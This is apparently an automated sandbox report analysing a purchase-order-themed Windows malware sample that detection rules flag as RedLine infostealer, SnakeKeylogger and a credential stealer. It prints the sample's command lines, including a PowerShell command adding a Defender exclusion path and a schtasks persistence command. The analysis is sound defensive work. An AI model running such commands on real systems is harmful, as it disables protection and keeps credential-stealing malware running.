Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00408C60	19_2_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_0040DC11	19_2_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00407C3F	19_2_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00418CCC	19_2_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00406CA0	19_2_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_004028B0	19_2_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_0041A4BE	19_2_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00418244	19_2_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00401650	19_2_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00402F20	19_2_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_004193C4	19_2_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00418788	19_2_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00402F89	19_2_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00402B90	19_2_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_004073A0	19_2_004073A0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_30649400	19_2_30649400
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_30641020	19_2_30641020
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_30641030	19_2_30641030
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_337647B8	19_2_337647B8
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_337647A8	19_2_337647A8
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00408C60	19_1_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_0040DC11	19_1_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00407C3F	19_1_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00418CCC	19_1_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00406CA0	19_1_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_004028B0	19_1_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_0041A4BE	19_1_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00418244	19_1_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00401650	19_1_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00402F20	19_1_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_004193C4	19_1_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00418788	19_1_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00402F89	19_1_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00402B90	19_1_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_004073A0	19_1_004073A0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Microsofts.exe DDC6B2BD4382D1AE45BEE8F3C4BB19BD20933A55BDF5C2E76C8D6C46BC1516CE
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe F19763B48B2D2CC92E61127DD0B29760A1C630F03AD7F5055FD1ED9C7D439428

Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02E146A4 appears 154 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02E1480C appears 619 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02E28798 appears 48 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02E246A4 appears 154 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02E38798 appears 48 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02E2480C appears 619 times
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: String function: 02DD46A4 appears 244 times
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: String function: 02DD480C appears 931 times
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: String function: 02DE881C appears 45 times
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: String function: 02DD44AC appears 73 times
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: String function: 02DE8798 appears 54 times
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: String function: 02DD44D0 appears 32 times
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: String function: 0040FB9C appears 50 times
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: String function: 0040D606 appears 120 times
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: String function: 0040E1D8 appears 220 times

Source: PO_B2W984.com, 00000000.00000003.22954746218.0000000021C6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000000.22893328137.0000000000539000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22954746218.0000000021C3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000002.22981376617.000000007E730000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNet_microsofts_TradingAIBot.exe4 vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000002.22975988044.0000000020CFE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22897566569.000000007EE4D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22897566569.000000007ED20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22956781562.000000002203F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22898203458.000000007EC38000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs PO_B2W984.com
Source: PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs PO_B2W984.com
Source: PO_B2W984.com	Binary or memory string: OriginalFilenamemsedge.exe> vs PO_B2W984.com

Source: PO_B2W984.com

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 4.1.rpkhzpuO.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.1.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.1.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.1.rpkhzpuO.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.1.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.1.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000013.00000002.23176421665.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000F.00000002.23100866629.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000F.00000001.23060773301.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000013.00000001.23140173632.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: Process Memory Space: Microsofts.exe PID: 4824, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: Microsofts.exe.4.dr, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Microsofts.exe.4.dr, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.3.rpkhzpuO.pif.2761c6f8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.3.rpkhzpuO.pif.2761c6f8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.3.rpkhzpuO.pif.2761c6f8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.3.rpkhzpuO.pif.2b733e10.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.3.rpkhzpuO.pif.2b733e10.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.3.rpkhzpuO.pif.2b733e10.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'

Source: PO_B2W984.com, Oupzhkpr.PIF.0.dr

Binary or memory string: oW.Sln

Source: classification engine

Classification label: mal100.troj.spyw.evad.winCOM@33/17@4/3

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DD7F54 GetDiskFreeSpaceA,

0_2_02DD7F54

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Code function: 4_1_004019F0 OleInitialize,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,SizeofResource,FreeResource,SizeofResource,LoadLibraryA,GetProcAddress,#8,#8,#8,#15,#23,#24,#16,#411,#9,#9,#9,

4_1_004019F0

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DE6D48 CoCreateInstance,

0_2_02DE6D48

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

4_1_004019F0

Source: C:\Users\user\Desktop\PO_B2W984.com

File created: C:\Users\Public\OupzhkprF.cmd

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:816:120:WilError_03
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Phoenix_Clipper_666
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5880:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6236:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4104:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4260:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:816:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6236:120:WilError_03

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

File created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

Jump to behavior

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	4_1_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	15_2_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	15_2_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	15_1_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	19_2_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	19_2_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	19_1_00413780

Source: C:\Users\user\Desktop\PO_B2W984.com	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO_B2W984.com

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002D36000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24180228176.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24191123588.0000000003C90000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PO_B2W984.com	ReversingLabs: Detection: 27%
Source: PO_B2W984.com	Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\PO_B2W984.com

File read: C:\Users\user\Desktop\PO_B2W984.com

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO_B2W984.com "C:\Users\user\Desktop\PO_B2W984.com"
Source: C:\Users\user\Desktop\PO_B2W984.com	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PO_B2W984.com	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe"
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Microsofts.exe "C:\Users\user\AppData\Local\Temp\Microsofts.exe"
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\Public\Libraries\Oupzhkpr.PIF "C:\Users\Public\Libraries\Oupzhkpr.PIF"
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Oupzhkpr.PIF "C:\Users\Public\Libraries\Oupzhkpr.PIF"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe"
Source: C:\Users\user\Desktop\PO_B2W984.com	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Microsofts.exe "C:\Users\user\AppData\Local\Temp\Microsofts.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif

Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: url.dll	Jump to behavior
